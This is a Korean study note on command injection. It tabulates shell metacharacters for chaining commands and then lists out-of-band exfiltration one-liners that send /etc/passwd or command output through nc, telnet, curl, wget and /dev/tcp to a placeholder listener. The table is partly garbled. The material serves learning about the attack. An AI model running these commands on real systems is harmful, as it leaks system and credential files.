&&, ;, | 등을 사용하면 여러 개의 명령어를 연속으로 실행시킬 수 있다는 것| 메타 문자 | 설명 | Example | 
|---|---|---|
| ```` | 명령어 치환````안에 들어있는 명령어를 실행한 결과로 치환됩니다. | $ echo echo theoritheori | 
| $() | 명령어 치환 $()안에 들어있는 명령어를 실행한 결과로 치환됩니다. 이 문자는 위와 다르게 중복 사용이 가능합니다. (echo $(echo $(echo theori))) | $ echo $(echo theori)theori | 
| && | 명령어 연속 실행한 줄에 여러 명령어를 사용하고 싶을 때 사용합니다. 앞 명령어에서 에러가 발생하지 않아야 뒷 명령어를 실행합니다. (Logical And) | $ echo hello && echo theorihellotheori | 
| ` | ` | |
| ; | 명령어 구분자한 줄에 여러 명령어를 사용하고 싶을 때 사용합니다. ;은 단순히 명령어를 구분하기 위해 사용하며, 앞 명령어의 에러 유무와 관계 없이 뒷 명령어를 실행합니다. | $ echo hello ; echo theorihellotheori | 
| ` | ` | 파이프 | 
| 앞 명령어의 결과가 뒷 명령어의 입력으로 들어갑니다. | `$ echo id | /bin/shuid=1001(theori) gid=1001(theori) groups=1001(theori)` | 
nc (netcat)
cat /etc/passwd | nc 127.0.0.1 8000
telnet
cat /etc/passwd | telnet 127.0.0.1 8000
curl/wget
공격자의 서버로 접속 로그등을 남겨서 확인하는 방식
curl "<http://127.0.0.1:8080/?$>(ls -al|base64 -w0)"
curl <http://127.0.0.1:8080/> -d "$(ls -al)"
wget <http://127.0.0.1:8080> --method=POST --body-data="`ls -al`"
/dev/tcp & /dev/udp
"/dev/tcp" 장치 경로의 하위 디렉터리로 IP 주소와 포트 번호를 입력하면 Bash는 해당 경로로 네트워크 연결을 시도
cat /etc/passwd > /dev/tcp/127.0.0.1/8080